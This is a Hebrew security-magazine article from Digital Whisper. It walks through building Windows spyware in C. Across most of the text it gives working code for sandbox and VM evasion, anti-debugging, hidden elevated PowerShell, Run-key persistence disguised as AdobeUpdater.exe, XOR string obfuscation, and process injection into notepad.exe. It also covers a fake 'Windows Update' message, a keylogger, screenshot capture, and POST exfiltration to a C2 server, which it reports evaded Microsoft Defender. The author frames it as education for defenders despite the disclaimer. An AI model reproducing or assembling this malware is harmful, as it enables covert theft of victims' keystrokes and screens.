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Malware Development: Creating A Spyware From 

Scratch  

 אביב  דולב  מאת

 

 הקדמה 

  אירועים   ומנתחים  מקצועי   באופן   בתחום  עוסקים   אף  חלקנו;  הנוזקות  חקירת  תחום   את  היטב  מכירים  רובנו

  את   שבונה  הצד?  השני  הצד  של  לנעליים  להיכנס  באמת  פעם-אי  ניסינו   האם  אך.  יומיומי  באופן  זה  מסוג

 ? הנוזקות

  אחר   לרגל   שמטרתה  נוזקה  בונים  הם   כיצד  לעומק  להבין  וננסה  התוקפים   של  לראשם  נכנס  ,זה   במאמר

 . להשיג  מנסים הם מטרה  ואיזו, משתמשים הם טקטיקות באילונבין  : המשתמש

  בבנייה   במאמר זה  נתמקד ,  נגמרת   בלתי   כמעט   עליו  לכתוב   שניתן   התוכן   וכמות   אינסופי   בתחום   שמדובר  מכיוון 

  שתפקידו ,  Loader- ה:  מרכזיים   חלקים  משני  ומורכבת  C  בשפת  הכתובה,  לחלוטין  בסיסית  רוגלה  נוזקת  של

  הקוד   את  שמכיל,  עצמו  Payload-וה(,  Main Payload  לעיתים  המכונה)  המרכזית  הנוזקה  את  ולהריץ  להוריד

 . הקורבן אחר לרגל לנו  שיאפשר

 . המאמר קריאת טרם  להפנים  עלינו דגשים  שלושה  ישנם,  שנתחיל לפני

  אינו  כלל  בדרך  אשר, הבנה של נוסף  רובד  לנו לספק   ומטרתו ,  בלבד מידע אבטחת  לאנשי  נועד  זה מאמר .1

  ואופן   פנים  ובשום,  נוזקות  עם  ולהתמודד  לנתח  כיצד  יותר  טוב  להבין  היא  היחידה   המטרה.  בפנינו  פתוח

 . בלבד  לימוד  לצורכי נכתב המאמר. כאן המתוארים ובידע  בכלים לרעה  שימוש לעשות   אין

  להיות   שעלולים  חלקים  והסרת  מודיפיקציות  עברו  במאמר  שיופיעו  הקוד   קטעי,  זדוני  משימוש  להימנע  כדי .2

 .בלבד  התאורטי העיקרון  את לנו  שיספקו מצומצמים חלקים  רק  נראה מהמקרים בחלק . בעייתיים

  כי   ציון  תוך,  Process Injection  כמו,  מסורתיות  ובטכניקות  נוזקה  של  בסיסית  בארכיטקטורה  נתמקד .3

 . יותר  ועדכניות מתקדמות טכניקות להטמיע  מנת על   נוסף פרטני מחקר לבצע  וצריך ניתן , הצורך במידת
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 Loader - מטרות הצבת

 : בנוזקה להטמיע רוצים  שאנו המטרות מהן  להבין  עלינו , Loader-ה  בניית  עם  להתחיל  שנוכל לפני

  ובכך ,  שלה  ההתנהגות  דפוס  את   לגלות   חוקרים  על  להקשות  הוא   נוזקה  בבניית  חשוב   חלק   -  מזיהוי   התחמקות

 . EDR/AV-ה  במערכות   לחסימה תוביל שלבסוף הזיהוי פעולת את  לעכב

,  המרכזי  Payload- ה  את  להוריד  כדי  פקודות  להריץ  הוא  Loader-ה  ממטרות   כחלק   -   סמוי  באופן   פקודות  הרצת

 .  Netsh-ו Powershell  בפקודות שימוש  ידי על  זאת נעשה, הזה במקרה

  מנגנון  להטמיע  יש,  המערכת  אתחול  לאחר  גם  לפעול  תמשיך  שהנוזקה  להבטיח  כדי  -  Persistence  הטמעת

Persistence  ולהפוך   הנוזקה  של  פעילותה  לסיום  להביא  עלול  אתחול  כל,  זאת  ללא.  זמן  לאורך  עמידות  שיבטיח  

  שינוי   באמצעות  Persistence  יצירת   של  הקלאסית  בשיטה  נשתמש,  זה  במקרה.  אפקטיבית  לבלתי  אותה

 . המערכת של   אתחול בכל אוטומטית  תרוץ שהנוזקה  כך, Registry-ב מפתחות

  במערכת המרכזי Payload-ה את ולהוריד איתנו לתקשר  יוכל Loader-שה מנת  על - C2-ה שרת עם תקשורת

  לסוכן   הוראות  שמעבירה"  מפקדה "  של  כסוג  שישמש,  C2-ה  שרת  עם  לתקשר  לדעת  יצטרך  הוא,  הקורבן

 . בשטח שנמצא

Process Injection  -  ה  הורדת  עם-Payload  לבצע  הוא  הבא  השלב,  העיקרי  Process Injection   -  כלומר  ,

  על   להקשות,  חשד  להפחית  שמטרתו  קריטי  צעד  זהו.  במערכת  שרץ  לגיטימי  תהליך  לתוך  שלנו  הקוד  הזרקת

 .ההגנה ממערכות ולהתחמק,  הזדונית הפעילות גילוי

  XOR  בהצפנת  נשתמש,  הסטטית  הסריקה  בשלב  לגילוי  הסיכוי  את  לצמצם  כדי  -  ((Obfuscation  ערפול

  להיתפס   עלולות   אלו   מחרוזות .  URL  כתובות   או,  נתיבים,  קבצים  שמות   כמו,  רגישות(  Strings)  מחרוזות   לערפול 

  לאחר   -   הדינמית  הריצה  בשלב  רק  אותן  נחשוף  ולכן ,  הנוזקה  הורדת  בעת   AV-ו  EDR  מערכות  ידי   על  כחשודות 

 .לזיכרון נטען כבר שהקובץ

,  הנוזקה   על  לסמוך  ובעיקר,  להפעיל,  להוריד  לקורבן  לגרום  כדי   -  Social Engineering  בטקטיקות  שימוש

  בתחום  שמדובר   למרות.  חברתית  הנדסה  של  טכניקות  לפעולה  נכנסות  כאן .  קלה  פסיכולוגית  תחבולה  נדרשת

  לעדכון   בתוכנה  שמדובר  לחשוב  למשתמש  נגרום,  קלאסית  בגישה  נבחר  שלנו  במקרה,  עצמו   בפני  עשיר

  זיוף ,  חשד  יעורר  שלא  קובץ  בשם  שימוש  כמו  מרכזיים  אלמנטים  מספר  על  נקפיד,  כך  לשם  .לגיטימית  מערכת

 .ההרצה בסיום  מזויפת  מערכת  הודעת הצגת ולבסוף , אייקון

- ה.  לדרך  יוצאת  המרכזית   הנוזקה  שבה   הנקודה ,  התהליך  כל   של  המפתח  שלב   זהו --Payload ה  הרצת

Loader  ,ה  הפעלת  את  ויבצע  נקי  שהשטח  יבדוק,  הדרושות  ההכנות  כל  את  שביצע-Payload  מערכת   גבי  על  

 .בדבר יבחין שהמשתמש  מבלי , הקורבן
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 התחמקות  נגד וטכניקות הסתתרות - Loader-ה בניית

  בשימוש   שנפוצות,  וירטואליות בסביבות  מזיהוי יתחמק  Loader-שה  לוודא הוא  מולנו שניצב הראשוני האתגר

  ההגנה   שטכניקות  כמובן  .הנוזקה  התנהגות  את  ולחשוף  Debugging  לבצע  מהם  ולמנוע,  נוזקות  חוקרי  של

 . פעולתה   אופי   את  ולחשוף  לרוץ   תסרב   הנוזקה,  זיהוי  ויהיה   שבמידה  כדי   הפעולות  בסדר  ראשונות  לרוץ  חייבות

.  אוטומטיות  Sandbox  זיהוי   במערכות  לעבור   כדי  מסויים  זמן  למשך   הנוזקה  בהרצת  עיכוב  בפונקציית   נתחיל

 : כך  שנראית" שינה"  פונקציית ביצירת  זאת נעשה

void delay_execution(int milliseconds) { Sleep(milliseconds); // Sleep for the 
specified time in milliseconds  
} 
  

 

 . האופטימלית הזמן כמות למציאת  עד  בדיקות מספר ויצריך ,גורמים   במספר תלויות נבחר בהן  השניות כמות

Anti-Debugging  -  נעבור   ההדגמה  למען  אך,  במועט  להסתפק  ולא  טכניקות  של  רב  במספר  להשתמש  מומלץ  

  בעצם   הזו  WinAPI- ה  לפונקציית  קריאה.  ()IsDebuggerPresent  -ל  קריאה  היא  מהן  הראשונה.  בלבד  2  על

  שימצא   ברגע  הנוזקה  הרצת  את  נבטל  מיידית   שאנו  וכמובן,  תהליךל  שמוצמד   Debugger  ישנו  אם  בודקת

 . כחיובי

  אם  לראות כדי  הנוכחי  התהליך  של  Process Environment Block  -ה  את   בודקת   הפונקציה  הקלעים   מאחורי 

 . ולא  במידה 0  או,  1- ל מוגדר   BeingDebugged של Flag-ה

  רציף  זמן  ואין  במידה,   ההרצה   זמני   את  בודקת   הבאה  WinAPI-ה  קריאת .()GetTickCount -  הבאה   הטכניקה

  הרצת   את   לבטל  ונדאג  כך  על   נדע   אנו   , (ידני  באופן   פעולה  אחר  פעולה   כשמריצים   דיבאגר   של   בשימוש  כמו)

  , ההפעלה   מערכת  בליבת  שנמצא  הפנימי  השעון   על   מעקב  בעצם   הוא  הקלעים  מאחורי  שקורה  מה.  הנוזקה

 .הפעלתה זמן מאז שניות  במילי שעבר  הזמן ובדיקת

Anti-VM  -  לטכניקות  כזהה  Anti Debugging  , וירטואליות  במכונות  ממחקר  התחמקות  טכניקות  מעט  לא  ישנן  ,

 :  בסיסיות טכניקות  2 על   נעבור לכן

BIOS Strings  -  ה  במערכת   מחרוזות  קיימות   מוכרות  וירטואליות   במכונות-BIOS  שקשורות   מילים   המכילות  

."  VMware, Inc"  כמו  מחרוזות   למצוא  נוכל   VMware  של   במכונות ,  לדוגמא ,  עצמו  ולמוצר  הוירטואלית   לסביבה 

 . BIOS-ה מערכת של היצרן שם",  innotek GmbH"  את למצוא   נוכל VirtualBox של  ובמכונות

  -   ה  את  שמחזיר,  ()GetSystemFirmwareTable:  הבא  WinAPI- ל  בקשה  בעזרת  הזיהוי  פעולת  את  נבצע

Firmware Table  התשובה   את   ונשמור  למערכת  שקשורות  למחרוזות  חיפוש  נבצע  ובהתאם,  המערכת  של  

 . שתתקבל

http://www.digitalwhisper.co.il/


 
 

Malware Development: Creating A Spyware From Scratch 
www.DigitalWhisper.co.il 

 4  2025 י ליו , 175  גליון
 

Registry Keys - ה בדיקת היא מזיהוי להתחמק  שיטה  עוד-Registry Keys ב מוכרים נתיבים של-VM . 

 : הבאה הפונקציה בעזרת  זאת לבצע נוכל

int detectVMRegistry() { 
    HKEY hKey; 
    const char *vmKeys[] = { 
        "SOFTWARE\\VMware, Inc.\\VMware Tools", 
        "SOFTWARE\\Oracle\\VirtualBox Guest Additions", 
        "SYSTEM\\CurrentControlSet\\Services\\VBoxGuest" 
    }; 
    for (int i = 0; i < 3; i++) { 
        if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, vmKeys[i], 0, KEY_READ, &hKey) == 
ERROR_SUCCESS) { 
            RegCloseKey(hKey); 
            return 1;  // VM registry key found 
        } 
    } 
    return 0;  // No VM registry key found 
} 
  

 

  זאת   ונעשה  ,HKEY_LOCAL_MACHINE  -  הבא  Registry Hive-ב  שנמצא  Key  כל  נפתח  אנו  בלולאה  בשימוש

  תחזיר   הפונקציה,  קיימים  המפתחות  ואחד   במידה  .()RegOpenKeyExA  -  הבאה  WinAPI-ה  קריאת   בעזרת 

 .תואמים מפתחות נמצאו ולא  במידה 0  או,  1  הספרה את

 

 Persistence ויצירת סמוי  באופן פקודות הרצת

  החלון  את  ונסתיר  ,אדמיניסטרטור  בתור  Powershell  לזימון בפונקציה נשתמש אנו במערכת פקודות להרצת

 : ידיעתו ללא  פקודות להריץ כדי SW_HIDE  עם מהמשתמש

void execute_powershell(const char *command) { 
    SHELLEXECUTEINFO shExecInfo = {0}; 
    shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); 
    shExecInfo.lpVerb = "runas";  // Request admin privileges 
    shExecInfo.lpFile = "powershell"; 
    shExecInfo.lpParameters = command; 
    shExecInfo.nShow = SW_HIDE;  // Hide the PowerShell window 
    ShellExecuteEx(&shExecInfo); 
} 
  

 

 .(EDR/AV-ה במערכות חשד  לעורר לא כדי  XOR הצפנת תעבור שהפונקציה מומלץ)

   .AdobeUpdater.exe השם תחת  ,AppData-ה בתיקיית  עצמנו  את  להטמיע  נרצה, Persistence-ה ליצירת
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 : הבאה  הפונקציה עם  זאת נעשה, מערכת אתחול בכל הנוזקה את שיריץ Registry Key נוסיף מכן לאחר 

HKEY hKey; 
if (RegOpenKeyEx(HKEY_CURRENT_USER, 
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey) == 
ERROR_SUCCESS) { 
    RegSetValueEx(hKey, "AdobeUpdater", 0, REG_SZ, (BYTE*)dest, strlen(dest)); 
    RegCloseKey(hKey); 
} else { 
    printf("Error: Unable to set registry value.\n"); 
} 
  

  ובכך ,  המחרוזת  כערך  הנוזקה  שם  את  ומוסיפה  ,המקומי  המשתמש  אצל  Run-ה  מפתח  את  פותחת   הפונקציה

 .במערכת בסיסית   אחיזה  מייצרת

 

 Process Injection-ו C2-ה שרת עם  תקשורת

  בקשות   באמצעות  שלנו   C2  -ה  שרת   עם  לתקשר   יצטרך   Loader-ה,  המרכזי  Payload  - ה  את  להוריד   בכדי 

HTTP  .וסריקת   סטטי  מזיהוי  להתחמק   כדי  Strings  ,ה  את  להצפין  טוב   רעיון  יהיה  זה-URL  השרת  כתובת   של  

 : הבאה הפונקציה עם הריצה בזמן  Decryption לבצע  ואז,  XOR הצפנת בעזרת

    for (size_t i = 0; i < strlen(data); i++) { 
        data[i] ^= key[i % strlen(key)]; 
    } 
} 
  

 . AppData-ה לתיקיית  המרכזי Payload- ה להורדת בקשה  תתבצע, C2  -ה כתובת פענוח  לאחר 

  לגיטימי   להתליך  אותו   להזריק   Loader- ל  נגרום ,  ישירות  Payload-ה  את  להריץ  במקום,  חשאיים  להישאר  כדי

 . קלאסיות  Process Injection  בטכניקות שימוש  בעזרת ,(notepad.exe, ההדגמה לצורך)

  מצד   חשדות  לייצר   ולא  דינמי מזיהוי  להתחמק  לה לעזור ויכול, אמין  תהליך   מתוך  לרוץ  שלנו  לנוזקה יגרום  זה

 . הקורבן

 : הבא באופן קורה  התהליך

 רצים  לתהליכים  אינומרציה בעזרת ( notepad.exe)   הרצוי Process ID-ה איתור .1

 ()OpenProcess בעזרת   הרצוי תהליךה פתיחת .2

 ()VirtualAllocEx בעזרת תהליך ב זיכרון  הקצאת .3

 ()WriteProcessMemory בעזרת הפנוי לזיכרון  Payload-ה כתיבת .4

 הרצה לבצע בכדי  ()CreateRemoteThread  בעזרת  תהליךה בתוך Thread יצירת  .5
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 : לדוגמא 

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);  
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_COMMIT, 
PAGE_EXECUTE_READWRITE); 
 WriteProcessMemory(hProcess, remoteMem, payload, payloadSize, NULL);  
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMem, NULL, 
0, NULL); 
 

 .לגיטימי  תהליך תחת  בזיכרון תרוץ שהנוזקה מבטיח שביצענו  Process Injection  -ה תהליך

 : הפעולות  אופן  את המציג  זרימה תרשים להלן 

 

 

 חברתית  הנדסה

  מזויפת   מערכת  הודעת  נציג,  המשתמש  אצל  חשד  מהעלאת  ולהימנע  לגיטימי   להיראות  לביצוע  לגרום   כדי

  הושלם  העדכון  שתהליך  המשתמש   את   תרגיע  חברתית   הנדסה   של   זו  פשוטה  צורה.  קצר  עיכוב   לאחר 

 : בהצלחה

Sleep(8000);  // Simulate update duration (8 seconds) 
 MessageBox(NULL, "Your system has been updated successfully.", "Windows 
Update", MB_OK | MB_ICONINFORMATION); 

-ה  שהוא,  הבא  לשלב  לעבור  נוכל  וכעת.  האמינות  רמת  את  שיעלה  המזויף  האייקון  את  להוסיף  נוכל   לבסוף

Payload העיקרי . 

 

 Main Payload - מטרות הצבת

 . המרכזי Payload-ה של  הפונקציונליות  בפיתוח להתרכז  נוכל, בהצלחה Loader-ה את  שפיתחנו לאחר 
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 : העיקריות המטרות להלן 

1. Key Logging & Screen Capture  -   כל  הקלטת  שהיא,  העיקרית  המטרה  Key Stroke   במקלדת  שהוקש ,  

 . המשתמש פעילות אחר  לעקוב כדי  מסוים זמנים אינטרוול בכל מסך וצילום

  בתיקייה  יישמרו(  וצילומים   הקשות)  המוקלטים  הנתונים   -  נסתרת  בתיקייה  המוקלטים   הנתונים   אחסון .2

 . אוטומטי או ידני לגילוי  הסיכוי  את  שמקטין באופן, הקורבן במערכת נסתרת

  נייצא,  במערכת  בהצלחה  ונשמרו  הוקלטו  שהנתונים  לאחר  -   אמת  בזמן  C2-ה  לשרת  הנתונים  העלאת  .3

 .C2-ה  שרת דרך אלינו  בחזרה  אותם

 

 ונתונים  מידע איסוף  Main Payload -ה בניית

Keylogging  -  ה  פונקציית-Keylogger  קריאת   בעזרת  אמת  בזמן  הקורבן  של  במקלדת  הקשה  כל  אחר  תנטר  

WinAPI בשם GetAsyncKeyState(), בדיסק חבוי לקובץ שהוקשו  האותיות את  ותוסיף . 

void log_keystrokes() { 
    FILE *file; 
    char filepath[MAX_PATH] = "C:\\...\\keylogs.txt";  // Censored path 
  
    file = fopen(filepath, "a+"); 
    while (1) { 
        Sleep(10);  // Minimize CPU usage 
        for (int c = 8; c <= 222; c++) { 
            if (GetAsyncKeyState(c) & 0x0001) {  // Key was pressed 
                if ((c >= 39 && c <= 64) || (c > 64 && c < 91) || (c > 96 && c 
< 123)) { 
                    fputc(c, file); 
                    fflush(file);  // Immediate flush in case of crash 
                } 
            } 
        } 
    } 
    fclose(file); 
} 
  

 

  זאת   ומבצעת ,  ()GetAsyncKeyState-ל  הקריאה  בזמן  למטה  או   למעלה  Key State-ה  אם   בודקת  הפונקציה

  כדי   ,הקשה   כל  אחר(  flush)  לקובץ  כותבת  ולבסוף,  רספונסיביות  להגביר  כדי  מינימלי  delay  עם  בלולאה

 . תקלה של במקרה נתונים לאיבוד  סיכויים  להפחית
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.  הקורבן  של   הנוכחי  המסך  את   ללכוד  כדי  PrintScreen-ה  מקש   על  לחיצה  מדמה  הבא  המודול  -  מסך   צילום

  זמן   חותמת  עם   מקומי  כקובץ  ונשמרת ,  BMP  לפורמט  מומרת,  Clipboard־מה  נשלפת   שנלכדה  התמונה

(Timestamp  )הפעילות של מסודר כרונולוגי  תיעוד  לאפשר  מנת על, הקובץ בשם . 

void capture_screenshot() { 
    keybd_event(VK_SNAPSHOT, 0, 0, 0);  // Simulate PrintScreen 
    Sleep(200);  // Let clipboard populate sufficiently 
  
    if (OpenClipboard(NULL)) { 
        HANDLE hBitmap = GetClipboardData(CF_BITMAP); 
        if (hBitmap) { 
            char filename[MAX_PATH]; 
            sprintf(filename, "C:\\...\\screenshot_%ld.bmp", time(NULL));  // 
Censored path 
            SaveBitmapToFile((HBITMAP)hBitmap, filename);  // Custom function 
        } 
        CloseClipboard(); 
    } 
} 

 

  הפונקציה   באמצעות,  מכן  לאחר .  CF_BITMAP  בפורמט  Clipboard-ל  מועבר  המסך  צילום   כי   מניחה   הפונקציה

SaveBitmapToFile()  בפורמט  מקומי כקובץ התמונה  נשמרת , זה לצורך במיוחד שנכתבה BMP. 

 . ברקע ומתמשכת עצמאית  בצורה  שיפעלו לוודא   כדי נפרדים Threads-ב ירוצו  הפונקציות יתש

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)log_keystrokes, NULL, 0, NULL); 
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)schedule_screenshot_capture, 
NULL, 0, NULL); 
  

 

  -()capture_screenshotל  שקוראת  מעטפת   כפונקציה   תהווה  schedule_Screenshot_capture,  הזה  במקרה 

 . (שניות  30  כל לדוגמא )  באינטרוולים

 

 C2-ה לשרת הנתונים  אקספילטרציית

  לשרת   הנתונים   את  להעלות  הוא  הבא  השלב,  הקורבן  במערכת  בחשאיות   נתונים  לאסוף  מצליחים  שאנו  עכשיו 

C2, על   מזיהוי הימנעות תוך, וגמיש  חמקני, תקופתי להיות  תוכנן ההעלאה מנגנון. אלינו אותם יחזיר   שלבסוף  

 .הגנה רכיבי  ידי
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  לאורך   שונה  באחריות   מטפל  מהם  אחד   כל   כאשר,  נפרדים   שרתים   לשני  חולקה  התשתית   -  C2-ה  ארכיטקטורת

 : הנוזקה של החיים מחזור

 : Payload  -ה הפצת :ראשון   C2 שרת 

  Payload- ה  להעברת  שישמש(  http.server  -המודול המובנה של פייתון    באמצעות   נבנה)  קליל  HTTP  שרת

 . הראשי

 .הקובץ את  להוריד כדי פשוטה GET בקשת  באמצעות זה  שרת עם  קשר  יצור loader-ה

 .בלבד  במסירה ומתמקד  פעמי-חד הוא הזה במקרה השרת  תפקיד 

 (: Exfiltration)  מידע שליפת  :שני  C2 שרת

 . הקורבן  ממערכת  POST בקשות  שמקבל   Flask מבוסס HTTP שרת

  כקבצים )  מסך   וצילומי(  .txt-  פשוטים   טקסט   כקבצי )  מקלדת   הקשות,  נתונים  סוגי  שני  מעלה  הראשי   Payload-ה

   .(.bmp בפורמט  בינאריים

 . שלנו השרת על  מקומית  ונשמרו, Content-Type-ה לפי  זוהו הקבצים סוגי

  את  תקופתי  באופן   סורק  הוא, הנתונים שליפת  על אחראי  המרכזי  Payload -ה: C2-ה לשרת  הנתונים העלאת 

  HTTP  בקשות   באמצעות  אותם   ומעלה,  המסך  וצילומי  keylogger  -ה  קבצי  נשמרים  שבה  המוסתרת   התיקיה 

 . POST  מסוג

 (: Exfiltration Design)  השליפה מנגנון תכנון

 רספונסיביות   לבין חשאיות בין לאזן   כדי לדקה אחת להתרחש   תוכננו ההעלאות ●

 (. headers) הבקשה  בכותרות,  והזמן המכונה שם כגון, metadata תכיל בקשה כל ●

 (: Pseudocode)  ההעלאה ללוגיקת דוגמא

upload_file("http://C2/upload", "keylogs.txt", "text/plain"); 
upload_file("http://C2/upload", "screenshot_12345.bmp", "image/bmp"); 
  

  -   בקשות  בין  קצרה  אקראית  השהיה  ויוסיף(  Content-Type  כגון)  מתאים  header  יגדיר   Payload- ה,  קובץ  לכל

 .DLP במערכות לזיהוי  הסיכוי את  ולצמצם קבועים   דפוסים  לטשטש כדי
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 Sandbox בסביבת הנוזקה הפעלת: דינמי ניתוח

  sandbox  במכונת  SystemUpdater  בשם   loader-ה  את   הרצתי,  מבוקרת  בסביבה  הנוזקה  את   לבדוק   כדי

 .בדיקה לצורכי  כבויים היו Debugging  וכלי VM מסביבת התחמקות מנגנוני כאשר, ייעודית

 : שלי המקומית  המכונה על מקומיים   C2שרתי שני  הקמתי, בנוסף

 . הראשי Payload-ה את שיספק  אחד ●

 . התוקף למערכת והעברתם  הנגועה  מהמכונה שנשלפים הנתונים  להעלאת כיעד שישמש  והשני ●

 :C2-ה שרתי בדיקת

 . Loader- ל  הראשי   Payload-ה  הפצת  על  שאחראי  השרת  את   להפעיל  היה   הראשון  השלב,  כאמור

 .Payload-ה קובץ בשליחת  ומגיב  loader-מה  GET לבקשות מאזין  זה שרת 

  לבקשות   מאזין   זה  שרת   .Payload-מה  הנתונים   את  לקבל   שתפקידו ,  השני   C2-ה  שרת   את  הפעלתי ,  מכן  לאחר 

POST  קבצי שמכילות  keylogger מסך וצילומי . 

 : ההתנהגות ובחינת Loader-ה הרצת

  על   SystemUpdater.exe  בשם  Loader-ה  את  להריץ  היה  הסופי  השלב,  פעילים  היו  C2-ה  ששרתי  לאחר

 . Sandbox-ה מערכת

  ובמקביל   המשתמש  את   להטעות  במטרה,  Windows  מערכת  של  לגיטימי   עדכון  שידמה  כך  נבנה  Loader-ה 

 . ההדבקה שרשרת  את  בשקט להפעיל

 : Loader-ה הרצת

 : הבאות  הפעולות את  ביצע loader-ה, ההפעלה בעת

 .מערכת עדכון פעילות  לדמות   כדי( Sleep(8000)) שניות 8  של השהיה ביצע  ●

 : המשתמש  את   להרגיע  במטרה,  MessageBox  באמצעות  מזויפת  עדכון  הודעת  הציג ●

 "Your system has been updated successfully." 
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 : Payload -ה פריסת

 : Loader-שה לאמת   כדי Process Explorer-ב  השתמשתי , ההפעלה לאחר 

  אתה   להטעות  שנועד  נוסף  שם)  AdobeUpdater.exe  בשם  הראשי  Payload- ה  את  בהצלחה  הוריד ●

 .הראשון  C2-ה לשרת GET בקשת  דרך( חשד  יעורר   ולא Payload-ב  ויבחין במקרה משתמש

 . הוזרק שאליו   תהליךה דרך Payload- ה את הריץ ●

 . במערכת  לפעול  ממשיך המוזרק Payload- ה רק כאשר , פעולתו את סיים  ●

 : Payload-ה התנהגות

 : Payload  -ה, ההפעלה לאחר 

 . מסך וצילומי   keylogs אחסון   לצורך  מוסתרת תיקייה יצר

 : כדי  ברקע שפועלים threads  הפעיל

 . רציף  באופן מקלדת הקשות לתעד

 . קבועים  זמן בפרקי  מסך צילומי ללכוד

 : כללה הנתונים תיקיית, הראשונית בבדיקה

 . ריק  keylogs.txt  קובץ ●

 .אוטומטי באופן  הפעולה לביצוע זמן מספיק  עבר ולא  מכיוון צפויה  התנהגות - מסך  צילומי ללא ●

 : בהתאם להתמלא החלו  הקבצים (, בנתיבים   ושיטוט , הקלדה) משתמש פעילות של סימולציה לאחר   אך

 .הטקסט לקובץ  אותם ולהוסיף נתונים לקלוט  החל keylogger-ה קובץ ●

 . מסך כתמונות  ונשמרו, זמן חותמות  עם,  נוצרו חדשים bmp. קבצי  ●
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 : C2-ה שרתי עם תקשורת אימות

 (: Payload-ה  הפצת  של)  הראשון השרת על

 . Payload-ה את  וקיבל  מוצלחת GET בקשת  שלח loader-שה אישרו הלוגים  קבצי  ●

 : המידע  שליפת  של Flask שרת  על

 : מוצלחות POST בקשות  שתי   הציגו הלוגים ●

 keylogs.txt הקובץ עם  אחת ○

 מסך  צילום  של bmp. קובץ עם  אחת ○

 : הראתה שהתקבלו הקבצים של ידנית בדיקה

 .הסשן במהלך   שבוצעה לפעילות  בדיוק   תואמים שהנתונים ●

 . מבוקרת בסביבה כשורה פעל - שליפה, מידע איסוף,  הדבקה - המלא  שהמעגל ●

 

 

 עתידיים  ושדרוגים  סיכום 

  לבצע ,  בחשאיות  לפעול,  Microsoft Defender  את  לעקוף  הצליחה  -  תקלות  וללא  חלקה  בצורה  פעלה  הנוזקה

  מבלי   -   מרוחק  C2  שרת  אל  הנתונים   את   ולשלוח (,  מסך  וצילומי  הקשות   לכידת )  שלה   הריגול  פונקציות   כל   את

 .להיתפס
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 : ביניהן, בנוזקות  נפוצות  טכניקות של  וחקירה  כתרגול  שימש  הזה הפרויקט 

Anti-VM ו-Anti-Debugging  אבטחה  חוקרי י" ע מניתוח  להימנע כדי. 

 . AV ידי  על  מגילוי ולהתחמקות רגישות  מחרוזות להסתרת   XOR הצפנת

 . HTTP בקשות  דרך אמת  בזמן מידע שליפת 

 . הקורבן ידיעת  ללא  - מסך וצילומי מקלדת  הקשות  של וסמויה מתמשכת  לכידה

Process Injection  -   כמו   מכלים   והתחמקות   מוסתרת   הרצה  לצורך   לגיטימיים  תהליכים   לתוך  הקוד   הזרקת  

AV/EDR . 

 .Windows Internals-וה Maldev-ה לעולמות  וצללנו נוזקות כותבי  של לנעליים  נכנסו המאמר  במהלך

  איך  ועל,  הקרב  שדה  מתוך  התוקף  עם   מתקשרת   היא   איך,  רוגלה  לנוזקת  ארכיטקטורה  בונים  איך  על   למדנו

 . מידע אבטחת מחוקרי עליה  להגן

 : כגון סיקרנו   שלא שאלות  המון  עוד   עולות

 במערכות   מחסימות   להימנע  כדי  ,אוטומטית  ונרטים'מג  דומיינים   בעזרת   C2-ה  ארכיטקטורת  את   משפרים   איך

 )DGA(? ההגנה

   -ל  ישירות  לא  קריאות  לדוגמא? ) חשאיות  מבחינת Process Injection -מ לשימוש   עדיפות  טכניקות אילו

Calls System)  

 ?מתוזמנות  משימות בעזרת  יותר עמידה Persistence  הטמעת מבצעים איך

 ? התעבורה להסוואת  C2-ה לשרת הנתונים העברת את  מקדדים איך  וכמובן

 .משלהם נפרד  מאמר הללו מהנושאים אחד לכל ומגיע, המאמר Scope-ל  מחוץ כבר  זה אך

 ,שנהנתם  מקווה

 . דולב

 

 המחבר  על

  HackingByDoing  המידע  אבטחת   מחקר   בלוג  בעל ,  הפנאי  בזמן  נוזקות  וחוקר   סייבר   אנליסט,  אביב   דולב

 . תחביב  בתור נוזקות ומפתח

 . האישי האתר דרך או  בלינקדאין אותי   למצוא  תוכלו
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